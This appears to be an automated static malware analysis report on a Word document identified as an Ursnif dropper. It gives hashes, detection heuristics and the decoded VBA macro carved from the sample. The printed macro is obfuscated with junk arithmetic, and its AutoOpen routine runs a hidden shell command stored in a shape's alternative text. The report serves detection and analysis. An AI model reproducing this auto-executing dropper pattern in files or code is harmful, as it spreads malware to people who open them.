Ursnif — Office (OLE) malware analysis

Static analysis result for SHA-256 1f1887191b7fc799…

MALICIOUS

Office (OLE)

68.5 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2020-05-25
MD5: 2a9942d9245fcea10dd38f10bfbe164c SHA-1: d8e49dc0b614450756fa08cf7019a4ba4b517505 SHA-256: 1f1887191b7fc799501a4b507000e931849e36eeba8a101a4457e687fa2dc62d
182 Risk Score

Malware Insights

Ursnif · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is identified as malicious by ClamAV with the signature 'Doc.Dropper.Ursnif-6864686-0', indicating the Ursnif family. High-severity heuristics confirm the presence of an AutoOpen VBA macro that uses the Shell function to execute a command. This macro is designed to download and execute a secondary payload, a common tactic for Ursnif.

Heuristics 6

  • ClamAV: Doc.Dropper.Ursnif-6864686-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Ursnif-6864686-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1854 bytes
SHA-256: 6b01565c9388215532ae6df0a6df7eb2f4edde5bafcaa5c9b27b86181b9439bc
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "rcawusi"
Function hveced()

Dim YbRdnJHe As Integer
Dim vmofuqih As Long
YbRdnJHe = 4362# - 3699#
Dim kWaMb As Variant
kWaMb = YbRdnJHe - 6275#

Dim qkigar As Integer
Dim gIukJb As Long
qkigar = 8561# - 3949#
Dim vdyjujume As Variant
vdyjujume = qkigar - 3740#



Dim COUcoGvn As Integer
Dim EPKWsc As Long
COUcoGvn = 6418# - 3118#
Dim FUzRX As Variant
FUzRX = COUcoGvn - 8054#

Dim lXIfPzX As Integer
Dim Chhhb As Long
lXIfPzX = 3933# - 8903#
Dim fHXmKhi As Variant
fHXmKhi = lXIfPzX - 4219#

Set hveced = ActiveDocument.Shapes(2)

Dim rjedinowo As Integer
Dim dzun As Long
rjedinowo = 2696# - 2416#
Dim idgUo As Variant
idgUo = rjedinowo - 2894#

Dim xnily As Integer
Dim njazexeb As Long
xnily = 3641# - 5485#
Dim czoteb As Variant
czoteb = xnily - 3660#

End Function
Sub AutoOpen()



Dim dKUmzYas As Integer
Dim kdukiw As Long
dKUmzYas = 7534# - 5254#
Dim YvlBlz As Variant
YvlBlz = dKUmzYas - 1469#

Dim WLVTD As Integer
Dim bvisij As Long
WLVTD = 9333# - 7058#
Dim gquto As Variant
gquto = WLVTD - 9360#

Set wkyxefuhi = hveced

pdexycadi = hveced.AlternativeText

Dim vdyde As Integer
Dim spenyv As Long
vdyde = 5862# - 2259#
Dim OuzZGe As Variant
OuzZGe = vdyde - 9737#

Dim gGPLw As Integer
Dim nPTDAuy As Long
gGPLw = 6950# - 7328#
Dim jtirecyq As Variant
jtirecyq = gGPLw - 7190#

Interaction.Shell@ _
pdexycadi, vbHide



Dim mfaku As Integer
Dim rfod As Long
mfaku = 6347# - 1716#
Dim ibGzi As Variant
ibGzi = mfaku - 6001#





End Sub